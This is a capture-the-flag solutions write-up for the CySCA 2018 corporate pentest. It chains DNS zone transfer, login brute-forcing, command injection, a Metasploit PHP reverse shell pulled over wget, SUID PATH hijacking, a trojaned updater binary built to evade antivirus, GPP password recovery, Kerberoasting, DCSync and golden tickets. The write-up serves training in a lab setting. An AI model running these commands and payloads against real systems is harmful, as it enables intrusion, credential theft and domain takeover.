# TABLE OF CONTENTS

- **Overview** .................................................................................................................. 3
- **Challenge: ZoningV6** .................................................................................................... 4
  - Challenge Description .................................................................................................. 4
  - Designed Solution ...................................................................................................... 4
  - Writeup ......................................................................................................................... 4
  - TL:DR .......................................................................................................................... 4
  - Extended version ......................................................................................................... 4
- **Challenge: TRIAL & Error** .......................................................................................... 6
  - Challenge Description .................................................................................................. 6
  - Designed Solution ...................................................................................................... 6
  - Writeup ......................................................................................................................... 6
  - TL:DR .......................................................................................................................... 6
  - Extended version ......................................................................................................... 6
- **Challenge: This Isn’t Even My Final Shell** ................................................................. 9
  - Challenge Description .................................................................................................. 9
  - Designed Solution ...................................................................................................... 9
  - Writeup ......................................................................................................................... 9
  - TL:DR .......................................................................................................................... 9
  - Extended version ......................................................................................................... 10
- **Challenge: Admins on Auto** ...................................................................................... 14
  - Challenge Description .................................................................................................. 14
  - Designed Solution ...................................................................................................... 14
  - Writeup ......................................................................................................................... 14
  - TL:DR .......................................................................................................................... 14
  - Extended version ......................................................................................................... 15
- **Challenge: Volume is too loud** .................................................................................. 18
  - Challenge Description .................................................................................................. 18
  - Designed Solution ...................................................................................................... 18
  - Writeup ......................................................................................................................... 18
  - TL:DR .......................................................................................................................... 18
  - Extended version ......................................................................................................... 18
OVERVIEW

The corporate penetration test provides a series of ordered challenges, of increasing complexity. These are designed to mimic a user initiating a penetration test from outside the organisation and moving through multiple network zones to reach a specific objective. The challenge will include some aspects that are specific to web pen testing, and software supply chain management.

After CySCA 2017, it was identified that the challenge difficulty ramped up too quickly for most participating teams. In particular:

- A significant proportion of the challenge (over 40%) was not completed at all
- Only ~50% of the participating teams completed the second challenge
- Only 4 teams completed the third challenge (which involved multiple stages, including utilising the Responder tool and exploiting an issue with MAPI configuration)

The CySCA 2018 corporate penetration test challenges have been selected to:

- Provide an on ramp for students who are participating for the first time in this style of challenge
- Ensure that difficulty ramps up more gradually, and provide more flags, to ensure that all players feel a level of progression
- Ensure that challenges are not reliant on awareness of specific niche tools
- Include a difficulty spike for the final challenge, to provide a final barrier to challenge completion

Players are to get from the “Internet”, into the DMZ and then into BOBs Corporate Internal Network and gain access to several critical systems through a series of challenging stages.

The starting point is the company’s domain, bob.cysca and the main DNS server is 192.168.5.53.
CHALLENGE: ZONINGV6

Challenge Description
Enumeration is a key step in a penetration test. In this case the starting point is to get a layout of the land and explore potential targets. Let’s investigate the company’s domain, bob.cysca.

Designed Solution
Players must perform a DNS Zone Transfer via a DNS server accessible over IPv6 as zone transfer is not available over IPv4. The dnsrecon tool does not complete this challenge, so utilizing other tool to perform the transfer is needed. These tools will disclose hosts used by BOB including an IPv6 open port for the students to connect to finally disclosing the flag.

Writeup

TL;DR
IPv6 Zone transfer using dig
root@Bread:~# dig axfr bob.cysca @ns6.bob.cysca

using any of the following will give us the flag.
root@Bread:~# nc -6 -u axfr6flag.bob.cysca 34532
root@Bread:~# socat -sug6 UDP6-CONNECT:axfr6flag.bob.cysca:34532 STDIO
root@Bread:~# socat -vu UDP6-CONNECT:axfr6flag.bob.cysca:34532 STDIO

EXTENDED VERSION
From the challenge description we can see we have very little information about the company other than the company’s domain, bob.cysca. So, before we investigate that lets first find out about our own IP allocation.

As you can see we have both an IPv4 address in the 192.168.5.100/24 subnet and an IPv6 address in the fc00:1337:1337::1000/64 subnet.
Now that we know something about ourselves lets learn a little about the company by doing one of the first steps of any pentest. There are many sites explaining all the steps to a pentest however they generally point towards conducting some form of enumeration or reconnaissance. ([https://community.akamai.com/customers/s/article/Enumeration-Part-1-DNS-Reconnaissance-Techniques?language=en_US](https://community.akamai.com/customers/s/article/Enumeration-Part-1-DNS-Reconnaissance-Techniques?language=en_US))
Since we know the domain(bob.cysca) being used by their DNS servers we can start our reconnaissance by performing some DNS recon.

root@Bread:~# dnsrecon -d bob.cysca
[*] Performing General Enumeration of Domain: bob.cysca
[+] DNSSEC is not configured for bob.cysca
[*] SOA ns.bob.cysca 172.16.5.53
[*] NS ns.bob.cysca 172.16.5.53
[*] Bind Version for 172.16.5.53 9.10.3-P4-Debian
[*] NS ns6.bob.cysca fc00:1337:1::10
[*] Bind Version for fc00:1337:1::10 9.10.3-P4-Debian
[-] Could not Resolve MX Records for bob.cysca
[+] A bob.cysca 172.16.5.53
[+] AAAA bob.cysca fc00:1337:1::33b5:33b5
[*] Enumerating SRV Records
[-] No SRV Records Found for bob.cysca
[+] 0 Records Found
We now know there are 2 name servers running in a different network range than our own which we could try some DNS reconnaissance techniques against such as performing a DNS zone transfer.

The 2 name servers to test against are:

- IPv4: `ns.bob.cysca 172.16.5.53`
- IPv6: `ns6.bob.cysca fc00:1337:1::10`

Running `dnsrecon` with the `-a` flag performs a zone transfer against nameservers found for a specified domain.

```
root@Bread:~# dnsrecon -d bob.cysca -a
[*] Performing General Enumeration of Domain: bob.cysca
[*] Checking for Zone Transfer for bob.cysca name servers...
[*] Trying NS server fc00:1337:1::10
[-] Zone Transfer Failed for fc00:1337:1::10!
[-] Port 53 TCP is being filtered
[*] Trying NS server 172.16.5.53
[*] 172.16.5.53 Has port 53 TCP Open
[-] Zone Transfer Failed!
[-] No answer or RRset not for qname
[*] Checking for Zone Transfer for bob.cysca name servers...
[+] 0 Records Found
```

Using `dnsrecon` we did not successfully conduct a zone transfer, however from the output above we can see that a zone transfer on the IPv6 address is not returning a failure, its returning that its being filtered. It is odd that the 2 nameservers differ so it might be worth investigating how to use a different tool to perform a zone transfer.

Searching for how to do a zone transfer we find 2 different ways to perform a zone transfer with `host` or with `dig` (https://security.stackexchange.com/questions/69290/how-to-test-for-zone-transfer).

```
dig axfr @ns6.bob.cysca bob.cysca
```

So, in our case we want to test against the IPv6 name server and `ns6.bob.cysca` for the `bob.cysca` domain.

```
root@Bread:~# dig axfr @ns6.bob.cysca
```

The zone transfer worked using a different tool, however from the output above we can see that a zone transfer on the IPv6 address is not returning a failure, its returning that its being filtered. It is odd that the 2 nameservers differ so it might be worth investigating how to use a different tool to perform a zone transfer.

```
root@Bread:~# nc -6 -u axfr6flag.bob.cysca 34532
FLAG{15593BF27DC08D5F90981C3640501574}
```

Success we found the first flag.
CHALLENGE: TRIAL & ERROR

Challenge Description
Based on the Zone Transfer during the enumeration step what hosts are exposed in the DMZ (www.bob.cysca, aircon.bob.cysca)? Can you gain entry to any of them? Is there a problem with the host?

Designed Solution
Players utilise default credentials to access the authenticated part of the Air Conditioning system remote management portal (alternately, password in source code as an alternative).

Writeup

TL:DR
Brute force aircon.bob.cysca login portal using hydra

```
root@bread:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt aircon.bob.cysca http-post-form "/:username=^USER^&password=^PASS^&submit=:invalid"
```

Login
admin:Liverpool

Find CLI and flag

```
< Output: log.php: $output = shell_exec("cat access.log | grep -i $search"); >
; ls
< Output: .... flag.txt .....>
```

Using CLI to read the flag aircon

```
; cat flag.txt
```

EXTENDED VERSION
Reviewing the output from the zone transfer we can see quite a few new hosts to investigate. But not all hosts are currently accessible. At this point lets draw up a map so we can understand the output easier.

As we can see there are 3 main zones External, DMZ, and Internal. Internal has a further 2 zones, safe and dev. Currently internal is inaccessible to us so we need to investigate aircon.bob.cysca and www.bob.cysca.
www.bob.cysca looks standard, although it contains some employee information such as names and positions. However, aircon.bob.cysca has a log in page we can investigate. After trying 2 basic username and password combinations (administrator/password and admin/admin)

| Invalid password. | ← using admin:admin |
| Invalid username or password. | ← using administrator:password |

This points us to the fact that there is a user account with admin as the username. After manually testing several more common passwords against the admin user account to no avail, we do notice there is no rate limiting for password attempts. This means we can automate/brute force the password using a dictionary or other means.

A common tool for brute forcing is THC Hydra (https://sectools.org/tool/hydra/) which is part of the standard tool kit in Kali. Hydra allows us to try combinations of a user and a password list or dictionary. Hydra has a simple to use wizard (xhydra).

In the target tab:

- The target: `aircon.bob.cysca`
- The attack type: `http-post-form`

In the Passwords tab:

- Username: `admin`
- Password List: `/usr/share/wordlists/rockyou.txt`

In the Specific tab:

If you try to run the attack using the http-post-form model without specifying the syntax it will not work. After viewing the module help page (hydra -U http-post-form) the syntax is as follows:

```
<URL>:<form parameters>::<condition string>[:||:|]
```

Where `<URL>` is the POST URL, `<form parameters>` is the post data and `<condition string>` is what to check for on an *invalid* attempt, each separated by a colon ‘:’.

Looking at the source code of the page we can see that the `<URL>` we will use is just ‘/’. There are 3 `<form parameters>` `username`, `password` and `submit`. Finally, on an unsuccessful attempt the word ‘invalid’ is printed so this will be our `<condition string>`.

Now if we switch to the Start tab and click `start` at the bottom of the page, we will hopefully brute force the password for the `admin` user using the `rockyou` dictionary.
After a little while the credentials have been found (username: admin, password: liverpool) and we can log into the AirCon Management. After viewing all the pages, the log.php page is the only area we have control of.

Not knowing what logs are being searched entering ‘*’ breaks the search and gives us the shell_exec command being processed by php.

```
log.php: $output = shell_exec("cat access.log | grep -l $search");
```

The way shell_exec is processing the command may not be filtering or sanitising the users input, we should check if its vulnerable to Command Injection (https://www.owasp.org/index.php/Command_Injection).

Entering ; ls make the shell_exec finish the previous command (done via ‘;’) and then process the ls command. As we can see from the output there is no filtering or sanitization and we are able to list the files in the current directory on the aircon server.

we can now retrieve the flag using the cat command.

```
; cat flag.txt.
```

Success we have the flag.
Challenge: This Isn’t Even My Final Shell

Challenge Description
Default credentials on an AC remote management portal, and Command line injection what else is wrong with this host? can we get a root shell?

Designed Solution
Utilise a code injection bug within the authenticated area of the AC system remote management portal, to gain access to the system shell as the web server user.
Note that privilege escalation is not required on this server.

Writeup

**TL;DR**
Check current level of access and host information
; whoami; hostnamectl; ip a

Host an IPv6 server and Pull shell exploit across
root@Bread:~# python ipv6server.py

generate a reverse tcp php shell
root@Bread:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=fc00:1337:1337::1000 LPORT=4444 -f raw > shell.txt

Set up a handler
root@Bread:~# msfconsole
msf > handler -p php/meterpreter/reverse_tcp -H fc00:1337:1337::1000 -P 4444 -n "Aircon"

Pull shell exploit across
; wget -6 http://[fc00:1337:1337::1000]:8080/shell.txt -O shell.php;

Pop shell
visit [http://aircon.bob.cysca/shell.php](http://aircon.bob.cysca/shell.php) in a browser
msf > sessions -i 1
meterpreter > shell

Get root
Make apache2 file and upload
root@Bread:~# nano apache2
#!/bin/sh
php -f shell.php
meterpreter > upload apache2 .
meterpreter > shell

Give execute permissions to apache2 script
chmod +x apache2

Add local directory to PATH environment variable and execute exploit
export PATH=$pwd:$PATH && ./restart

Cat flag in root home folder
`cat /root/flag.txt`
EXTENDED VERSION

Using the CLI from the previous challenge we can see that currently we only have user access \(\text{www-data}\) to the aircon server \(\text{; whoami}\), information about the server \(\text{; hostnamectl}\) and \(\text{; ip a}\).

What we can glean from this information is that the server is only using IPv6, its 64-bit Debian, and we have control of www-data. Since we know we have arbitrary CLI we could try to spawn a shell to make post exploitation easier. A commonly use framework for this type of testing is MSF (Metasploit framework). And with our control of the www-data user we can push php based exploits as it will be run by the underlying web framework.

so our first step is to make sure the aircon server can reach us, after tying a simple python http server we find that the aircon server cannot reach us on an IPv4 address, so we need to set up a means of communication via IPv6.

Setup the ipv6 http server

There are plenty of ways to pull the file from our attacker machine but a simple way is to host a ipv6 http server (https://gist.github.com/chrisklaiber/54511886e6e8e4c18126792fc634f44d57). With our ipv6 server set up we can use the CLI in the aircon server to easily pull any file we need with wget. Our next step is to have something to pull across, so let’s use msfvenom to generate our payload.

Generate a reverse tcp php shell

moving into the directory where we are hosting the ipv6 server we can generate the reverse tcp php payload to hopefully pop a shell on the server. Msfvenom is quite simple to use and in its most basic of forms only requires a couple arguments to generate a payload.

-\(p\) (the payload to use)
LHOST (the address of the machine to call back to)
LPORT (the port of the machine to call back to)
-\(f\) (format of payload)

So, putting it all together we have the following command (of course you need to substitute your IP and Port you wish to use).

```
root@Bread:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=fc00:1337:1337::1000 LPORT=4444 -f raw > shell.txt
```

now that the call back is set up we need to make sure we have something to handle this request, and this is where MSF comes in.
Setting up a handler

The Metasploit framework is quite simple to use and once set up can make exploitation quite simple. If you have not used it before I recommend following the getting started guide. (https://www.metasploit.com/get-started). Once you have done the initial setup you can just start the framework with `msfconsole`.

Once the framework is ready a shortcut to start a handler for our reverse php shell can be done using the following command.

```plaintext
msf > handler -p php/meterpreter/reverse_tcp -H fc00:1337:1337::1000 -P 4444 -n "Aircon"
```

it effectively informs MSF that the handler will be issuing the payload for a meterpreter shell if a call back on the -H and -P are reached. So now that we have a handler we can test our reverse php payload.

Pull shell exploit across

Using the CLI in the aircon server we can pull our exploit across and convert it to a php page. This will allow us to have a means of triggering a reverse shell by visiting our php page http://aircon.bob.cysca/shell.php in a browser.

```plaintext
; wget -6 http://[fc00:1337:1337::1000]:8090/shell.txt -O shell.php
```

We can see the aircon server successfully pulled our shell.txt payload. Now let's try and trigger the reverse shell by visiting http://aircon.bob.cysca/shell.php in our browser.

Awesome we now have a meterpreter shell on the aircon server.
It might not be obvious from the ls -l output but the restart binary has SUID bit set. Looking for SUID or SGID binaries is part of basic Linux privilege escalation testing (https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) and if we run one of the checks listed for finding SUID and SGID binaries (find / -perm -g=s -o -perm -u=s -type f 2>/dev/null) we can also come across /var/www/app/restart

```
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
/run/log/journal
/run/log/journal/0ad4855bf6d1493ebb878cfc6b63968
/var/local
/var/www/app/restart
/var/mail
/bin/su
```

If you’re not familiar with SUID or SGID binaries and what that means for exploitation give this article a read (http://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/).
So, we know that the restart binary has SUID and luck for us the source code for the binary is available for us to read (restart.c)

```
cat restart.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(){
    if( setuid(geteuid()) ) perror( "setuid" );
    system("apache2 -k restart");
    return 0;
}
```

This is a small binary that uses system to call apache2 -k restart which on the surface might not seem exploitable. However, with some familiarity with Linux you might recognise that the apache2 binary is being called using relative path, rather than its full path. How this works is the terminal checks a PATH environment variable to see if the binary exists in any of the supplied paths. If it does the first match is considered the binary the user wishes to run.

Think about how cat or ls commands work. You can find which binary they point to by looking at which ls or which cat

```
env
LANGUAGE=en_AU:en
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/app

which ls
/bin/ls

which cat
/bin/cat
```

Cyber Security Challenge Australia © 2018 - Corporate Pentest Solutions  page 12
Piecing it all together
Since we have a binary that when executed runs as root and can be executed by www-data, and that binary looks for apache2 relatively using the PATH environment variable. We could effectively add a path to the beginning of the PATH environment variable and point an executable file we control.

Let's go back to our attacker machine make a file called apache2, that calls our existing reverse shell as we know it's working and upload it to the aircon server.

We then need to give that script execution rights, and then the final part of the privilege escalation is to change the order of the PATH variable.

Make apache2 file and upload

```sh
root@Bread:~# nano apache2
#!/bin/sh
php -f shell.php
```

```
Meterpreter > upload apache2 .
[*] uploading : apache2 -> .
[*] uploaded : apache2 -> ./apache2
Meterpreter > shell
Process 13132 created.
Channel 2 created.
chmod +x apache2
export PATH=$(pwd):$PATH && ./restart
/*
[*] Sending stage (37775 bytes) to fc00:1337:1::a17c:4
[*] Meterpreter session 2 opened (fc00:1337:1337::1:0000:4444 -> fc00:1337:1::a17c:4:56132) at 2018-10-24 09:52:00
+1100
^C
Terminate channel 2? [y/N] y
Meterpreter > sessions 2
[*] Backgrounding session 1...
[*] Starting interaction with 2...
Meterpreter > shell
Process 13140 created.
Channel 0 created.
whoami
root
ls -l /root
total 4
-rwx------ 1 root root 38 Oct 1 19:11 flag.txt
cat /root/flag.txt
FLAG{9507493BABED22881BCE4A9DF98D1627}
```
CHALLENGE: ADMINS ON AUTO

Challenge Description
The CIO said he will delegate someone to investigate the AC remote management portal as soon as possible, he’s asked is there any additional findings for this portal?

I wonder who uses this portal in the BreakOutBox company?

Helpful notes: AV is probably enabled; Access and Error logs are available on the Aircon host.

NOTE: Not seeing any changes to Error and Access logs, reset the Workstation1 VM.

Designed Solution
Utilising web server logs, and/or investigate the server, to identify a binary that is used for automatic updates of the AC management software client.

Players must replace the auto update binary with a custom binary that calls back to the attacker’s infrastructure.

AC Admin Workstation will install and run this in a Ring 3 context, providing players access to this workstation.

Writeup

TL:DR
Setup new handler
```
msf > handler -p windows/meterpreter/reverse_tcp -H 192.168.5.100 -P 4446 -n "windows"
```

Generate exploit and wrap in shelter
```
root@Bread:~# shelter
  operation mode - A
  PE Target - putty.exe
  Stealth mode - Y
  Use listed - L
  Payload index - 1
  LHOST - 192.168.5.100
  LPORT - 4446
```

Get the Sha1sum of the exploit
```
root@Bread:~# sha1sum putty.exe | cut -f 1 -d " " > putty.exe.sha1sum
```

Push exploit and new sha1sum file via meterpreter
```
msf > sessions -i 2
meterpreter > cd updates
meterpreter > upload putty.exe Aircon_software.exe
meterpreter > upload putty.exe.sha1sum Aircon_software.exe.sha1sum
```

Wait around 5 minutes, use new shell to view flag.txt file on workstation1
```
meterpreter > use powershell
meterpreter > powershell_shell
PS > type C:\Acv2\flag.txt
EXTENDED VERSION

Now that we have a root shell on the aircon server we can do anything we need too. If we explore the `/var/www/app` directory some more, we will find that there is an updates folder that contains 3 files `Aircon_software.exe`, `Aircon_software.exe.sha1sum` and an `error.log`.

```
cd /var/www/app/updates
ls -l
total 3828
-rwxr-xr-x 1 root root 3909309 Jul 26 09:21 Aircon_software.exe
-rw-r--r-- 1 root www-data 41 Jul 26 09:22 Aircon_software.exe.sha1sum
-rw-rw-r-- 1 root www-data 3131 Jul 26 09:35 error.log
```

Looking at the content of the `error.log` we can see that there is some polling from devices for these files and there has been permission errors. Additionally, there is an entry about checksums not matching and the last entry in the log is from some time ago.

```
cat error.log
2018-07-13 13:12:08 - error = Unable to get Aircon_software.exe.sha1sum file
... 2018-07-13 13:18:49 - Updating= Running new update Aircon_software.exe
... 2018-07-17 12:37:16 - Error= Didn't match checksums
... 2018-07-19 14:54:50 - error= Unable to download%2Fwrite Aircon_software.exe file%5BErrno 13%5D Permission denied%27C%3A%5C%5CACv2%5C%5CAircon_software.exe%27
... 2018-07-26 09:35:22 - Updating= Running new update Aircon_software.exe
```

At this point we should check access logs to see how frequently this content is being pulled, and by what machine. In the main web app folder there is a symbolic link to the apache `access.log` that we could look at to find out if these files are being called.

```
cd ..
tail access.log
```

Looking at the output we can see when we logged into the aircon server web portal, but more importantly we can see that there is a constant check for the `/updates/Aircon_software.exe.sha1sum` every 5 minutes, from what appears to be a Windows 10 x64 machine at fc00:1337:2::3075:7104.

If we go back to our output from the zone transfer, we can see that this is a host (`workstation1`) within a network we cannot currently reach. We can assume if we want to pivot to this host it will have AV running so we need to figure out a way to make our exploit not be detected by defender. But we are getting ahead of ourselves.

First let’s figure out what is required to get the host to pull a new file. We can see the `Aircon_software` is being pulled by the workstation, as it first it checks the checksum file, we know from the `error.log` it compares it to something the workstation has. We can assume that might be the current checksum of the latest version the workstation has. If we change the checksum it might then proceed to download the executable. If we don’t change the executable just yet we know it will download something it already has.

---

Cyber Security Challenge Australia © 2018 - Corporate Pentest Solutions  page 15
Awesome it looks like if we change the /updates/Aircon_software.exe.sha1sum file it, then proceeds to download the /updates/Aircon_software.exe, and I guess there is a call to api.php to update the error.log about the failed checksum match.

let's add another handler to msf and figure out a way to bypass at a minimum windows defender.

```
root@Bread:~# shelter
   operation mode – A
   PE Target – putty.exe
   Stealth mode – Y
   Use listed – L
   Payload index – 1
   LHOST – 192.168.5.100
   LPORT – 4446

We now have a patched version of putty.exe that will call back to our machine. The only other required part is to generate the sha1sum of this binary and to push both the sha1sum and the exploit to the aircon server.
```
Now we need to wait < 5 minutes and we should have a reverse shell on the workstation1.

meterpreter > [*] Sending stage (179779 bytes) to 10.10.5.112
[*] Meterpreter session 3 opened (192.168.5.100:4446 -> 10.10.5.112:64138) at 2018-10-24 11:02:15 +1100
[*] Sending stage (179779 bytes) to 10.10.5.112
[*] Meterpreter session 4 opened (192.168.5.100:4446 -> 10.10.5.112:64140) at 2018-10-24 11:02:15 +1100

meterpreter > sessions 3
[*] Backgrounding session 2...
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : W1
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_AU
Meterpreter     : x86/windows

meterpreter > ls
Listing: C:\ACv2
====================
Mode    Size     Type Last modified       Name
---- ---- ---- ------------
100777  7808     fil 2018-10-24 11:02:16   Aircon_software.exe
100666  40       fil 2018-10-24 11:02:16   Aircon_software.exe.sha1sum
100777  5911613  fil 2018-07-13 13:06:06   Aircon_software_updater.exe
100666  38       fil 2018-10-01 19:14:14    flag.txt
100666  2871     fil 2018-10-24 11:02:16    log.txt

meterpreter > cat flag.txt
FLAG{35A2988D254B3BFD78F39743B1E01603}
meterpreter >
CHALLENGE: VOLUME IS TO LOUD

Challenge Description
The CIO is impressed with our pivot into the internal network. He wants to know if we have Administrative privileges on the Workstation or not? We don’t, but can we get it?

Designed Solution
Players must access the SYSVOL share on the DC, and then recover the Local Admin password that has been used on the network.

Writeup

TL:DR
Migrate to new process
msf > sessions -i 3
meterpreter > run post/windows/manage/migrate

Harvest GPP creds
meterpreter > run post/windows/gather/credentials/gpp
< Output: localadmin:SoCpasswordisKindOfBrokenIsn'tItnotflag >

Setup RDP port forward
meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1

RDP with new localadmin creds
root@Bread:~# rdesktop 127.0.0.1:3389 -u localadmin -p "SoCpasswordisKindOfBrokenIsn'tItnotflag"

Open flag.txt on localadmin desktop

EXTENDED VERSION
First things first we don’t know how stable this reverse shell is, so we should try to migrate to a new process. This is a simple process using meterpreter as it has a post exploit module available for us.

```bash
meterpreter > run post/windows/manage/migrate
[*] Running module against W1
[*] Current server process: Aircon_software.exe (4876)
[*] Spawning notepad.exe process to migrate to
[*] Migrating to 3108
[+] Successfully migrated to process 3108
meterpreter > getuid
Server username: BM\MMcTarget
```

Reading the question text, the see that we should try to elevate our privileges if we run `getsytem` we fail and lose our session. So, we need to redo our previous exploit and migration to get back to the same spot.

```bash
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)

meterpreter >
[*] 10.10.5.112 - Meterpreter session 3 closed. Reason: Died
```

msf >
[*] Sending stage (179779 bytes) to 10.10.5.112
[*] Meterpreter session 5 opened (192.168.5.100:4446 -> 10.10.5.112:64160) at 2018-10-24 11:17:15 +1100

msf > sessions -l 5
[*] Starting interaction with 5...

meterpreter > run post/windows/manage/migrate
[*] Running module against W1
[*] Current server process: Aircon_software.exe (1528)
[*] Spawning notepad.exe process to migrate to
[*] Migrating to 4436
[*] Successfully migrated to process 4436

this means we need to find a different way to privilege escalate, let’s start with some basics, credential gathering.

meterpreter > run post/windows/gather/credentials/credential_collector
[*] Running module against W1
[-] Error accessing hashes, did you migrate to a process that matched the target's architecture?

Hmm the downside of shellter is that it currently only works with 32-bit executables. So, we need to go basic. let’s try some of the other post modules.

meterpreter > run post/windows/gather/credentials/gpp
[*] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
...
[*] Searching for Policy Share on DC.BOB.CYSCA...
[*] Found Policy Share on DC.BOB.CYSCA
[*] Searching for Group Policy XML Files...
[*] Parsing file: C:\ProgramData\Microsoft\Group Policy\History\(69B57752-DEB7-4683-87EA-AD9AFCC73813)\MACHINE\Preferences\Groups\Groups.xml ...
[*] Group Policy Credential Info
----------------------------------------
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>TYPE</td>
<td>Groups.xml</td>
</tr>
<tr>
<td>USERNAME</td>
<td>W1\localadmin</td>
</tr>
<tr>
<td>PASSWORD</td>
<td>SoCpasswordiskindofBrokenIsn'tItnotflag</td>
</tr>
<tr>
<td>DOMAIN CONTROLLER</td>
<td>Microsoft</td>
</tr>
<tr>
<td>DOMAIN</td>
<td>History</td>
</tr>
<tr>
<td>CHANGED</td>
<td>2018-07-17 01:59:52</td>
</tr>
<tr>
<td>NEVER_EXPIRES?</td>
<td>1</td>
</tr>
<tr>
<td>DISABLED</td>
<td>0</td>
</tr>
</tbody>
</table>
[+] XML file saved to: /root/.msf4/loot/20181024114453_default_10.10.5.112_microsoft.window_780764.txt

Awesome it looks like we have some creds of a local admin, we could try to spawn a new process with the creds but it’s just as easy to try and establish an RDP session. Using meterpreter’s portfwd we can make this process quite easy.

meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1
[*] Local TCP relay created: :3389 <-> 127.0.0.1:3389

And now we can just start an RDP connection.
oot@Bread:~# rdesktop 127.0.0.1:3389 -u localadmin -p "SoCpasswordiskindofBrokenIsn'tItnotflag"
alright we have the flag and while we’re at it, let’s just disable the AV and get another reverse tcp connection to meterpreter by manually starting the Aircon_software.exe.

Real-time protection

This helps find and stop malware from installing or running on your PC.

On

meterpreter >

Sending stage (179779 bytes) to 10.10.5.112

Meterpreter session 13 opened (192.168.5.100:4446 -r 10.10.5.112:54853) at 2018-10-24 12:04:54 +1100
CHALLENGE: DC SIZZLING, HARMONIZED, GOLDEN BROWN BBQ

Challenge Description
The CIO has informed us the Domain controller could be in better shape. so, where to next?
does that mean we can gain control of the Domain? can we get files off it?

Designed Solution
Kerberoasting to dump the credentials of an SPN account. Crack the hash with HashCat and rockyou,
Using the new creds perform a DCSync to obtain the KRBTGT hash, and finally using the golden ticket, pivot to the DC to find the flag.

Writeup
TL:DR
RDP with new localadmin creds and Disable defender

Start empire and set up basic listener
root@Bread:~# ./empire
(Empire) > preobfuscate
(Empire) > set Obfuscate True
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.5.100:8080
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
(Empire: listeners/http) > launcher powershell
<copy output to file>

Copy PowerShell launcher command and upload to workstation.
metterpreter > upload exploit.ps1 .
metterpreter > use powershell
metterpreter > powershell_shell
PS > C:\Acv2\exploit.ps1

Running invoke_kerberoast to dump DomainBackupService Hash
(Empire: listeners/http) > agents
(Empire: agents) > interact BD6UM29P
(Empire: BD6UM29P) > usemodule credentials/invite_kerberoast
(Empire: powershell/credentials/invite_kerberoast) > set OutputFormat Hashcat
(Empire: powershell/credentials/invite_kerberoast) > execute
<copy output hash section to file>

Cracking the hash
hashcat64.exe -a3 -m 13100 -o "D:\Tools\Hashcat\found.pass" 
"D:\Tools\Hashcat\DomainBackupService.hash" "D:\Tools\Hashcat\rockyou.txt"
Once cracked
hashcat64.exe -a3 -m 13100 -o "D:\Tools\Hashcat\found.pass"
"D:\Tools\Hashcat\DomainBackupService.hash" "D:\Tools\Hashcat\rockyou.txt" --show
< Output: DomainBackupService: Spong3bob! >

Add DomainBackupService creds
(Empire: listeners/http) > creds add bob.cysca DomainBackupService Spong3bob! DC password
Spawn process as DomainBackupService
(Empire: listeners/http) > agents
(Empire: agents) > interact BD6UM29P
(Empire: 53MAHXEG) > bypassac http
(Empire: agents) > interact 1U4PNZXW
(Empire: 1U4PNZXW) > mimikatz
(Empire: 1U4PNZXW) > usemodule management/spawnas
(Empire: powershell/management/spawnas) > set CredID 1
(Empire: powershell/management/spawnas) > set Listener http
(Empire: powershell/management/spawnas) > run

Perform a DCSync as DomainBackupService
(Empire: powershell/management/spawnas) > agents
(Empire: agents) > interact 26WM7TGZ
(Empire: 26WM7TGZ) > usemodule credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user BOB\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > run

Create golden ticket and pivot to DC
(Empire: powershell/credentials/mimikatz/dcsync) > usemodule
powershell/credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 7
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user BOB\Administrator
(Empire: powershell/credentials/mimikatz/golden_ticket) > run
(Empire: powershell/credentials/mimikatz/golden_ticket) > usemodule
powershell/lateral_movement/invoke_psexec
(Empire: powershell/lateral_movement/invoke_psexec) > set Listener http
(Empire: powershell/lateral_movement/invoke_psexec) > set ComputerName dc.bob.cysca
(Empire: powershell/lateral_movement/invoke_psexec) > run
(Empire: powershell/lateral_movement/invoke_psexec) > agents
(Empire: agents) > interact M8A2GRSB

Find flag on DC
(Empire: M8A2GRSB) > shell get-childitem C:\Users\ -recurse | where {$_ .extension -eq ".txt"} | format-table Directory,Name
(Empire: M8A2GRSB) > shell type C:\Users\Administrator\Desktop\flag.txt
EXTENDED VERSION

After reading the challenge text, this task has a focus on domain controller exploitation and while Metasploit is a handy framework we should migrate to something built for Windows-based exploitation.

This is where Empire comes in (https://www.powershellempire.com/). If you have never used Empire before I recommend reading the documentation.

The first thing we need to do is set up a listener and get an agent on the workstation.

-------------------
[Empire] Post-Exploitation Framework
-------------------
[Version] 2.5 | [Web] https://github.com/empireProject/Empire

(Empire) > set Obfuscate true
[*] Obfuscating all future powershell commands run on all agents.

(Empire) > listeners
[!] No listeners currently active

(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.5.100:8080
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
  WARNING: Do not use the development server in a production environment.
* Debug mode: off
[+] Listener successfully started!

(Empire: listeners/http) > launcher powershell
